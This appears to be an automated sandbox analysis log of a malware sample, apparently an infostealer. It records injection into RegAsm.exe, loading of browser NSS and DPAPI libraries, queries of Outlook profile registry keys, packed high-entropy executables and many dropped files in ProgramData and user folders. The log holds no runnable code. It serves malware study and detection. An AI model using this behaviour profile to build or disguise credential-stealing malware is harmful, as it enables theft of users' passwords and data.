Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: 66fb252fe232b_Patksl.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 66fb252fe232b_Patksl.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 66fb252fe232b_Patksl.exe

Static file information: File size 1964072 > 1048576

Source: 66fb252fe232b_Patksl.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1dc800

Source: 66fb252fe232b_Patksl.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 66fb252fe232b_Patksl.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3222236226.000000006FD3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.7.dr
Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.7.dr, freebl3[1].dll.32.dr
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000007.00000002.3180666874.00000000206EC000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.7.dr, freebl3[1].dll.32.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000007.00000002.3219920840.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.7.dr
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.32.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000007.00000002.3200193258.0000000038498000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.32.dr, vcruntime140.dll.7.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000007.00000002.3191119781.000000002C5BF000.00000004.00000020.00020000.00000000.sdmp, msvcp140[1].dll.32.dr, msvcp140.dll.7.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000007.00000002.3219920840.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000007.00000002.3204620838.000000003E40D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.7.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000007.00000002.3167032183.000000001A20B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3179376060.0000000020178000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3644620950.0000000007F2B000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3473255427.000000002065B000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000007.00000002.3184814017.0000000026650000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3222236226.000000006FD3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.7.dr
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000007.00000002.3195631643.0000000032527000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.32.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_00418950 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

7_2_00418950

Source: HDGIJJDGCB.exe.7.dr	Static PE information: real checksum: 0x622a2 should be: 0x6b230
Source: 66fb252fe232b_Patksl.exe	Static PE information: real checksum: 0x0 should be: 0x1eceb1
Source: 66fbfcc9963ca_ldfsna[1].exe.7.dr	Static PE information: real checksum: 0x622a2 should be: 0x6b230
Source: d4BihqytT0FhOpDvoGEczZzm.exe.3.dr	Static PE information: real checksum: 0x695a1 should be: 0x6a530

Source: nss3.dll.7.dr

Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_005662B0 push ecx; ret	3_2_005662C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0042F142 push ecx; ret	7_2_0042F155
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00422D3B push esi; ret	7_2_00422D3D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0041DDB5 push ecx; ret	7_2_0041DDC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00432715 push 0000004Ch; iretd	7_2_00432726

Source: 66fb252fe232b_Patksl.exe	Static PE information: section name: .text entropy: 7.999715150656324
Source: d4BihqytT0FhOpDvoGEczZzm.exe.3.dr	Static PE information: section name: .text entropy: 7.995853836897514
Source: HDGIJJDGCB.exe.7.dr	Static PE information: section name: .text entropy: 7.995028534899583
Source: 66fbfcc9963ca_ldfsna[1].exe.7.dr	Static PE information: section name: .text entropy: 7.995028534899583

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66fbfcc9963ca_ldfsna[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66fbfcc301a31_swws[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userDHCAECGIEB.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66fbfcc9963ca_ldfsna[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66fbfccd837ac_vadggdsa[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userBAKKEGCAAE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\EBKJDBAAKJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\HDGIJJDGCB.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\AAAKEBGDAF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\66fbfccd837ac_vadggdsa[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\EBKJDBAAKJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\HDGIJJDGCB.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\AAAKEBGDAF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

7_2_00418950

Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fb252fe232b_Patksl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\d4BihqytT0FhOpDvoGEczZzm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HDGIJJDGCB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBKJDBAAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\AAAKEBGDAF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userDHCAECGIEB.exe	Process information set: NOOPENFILEERRORBOX
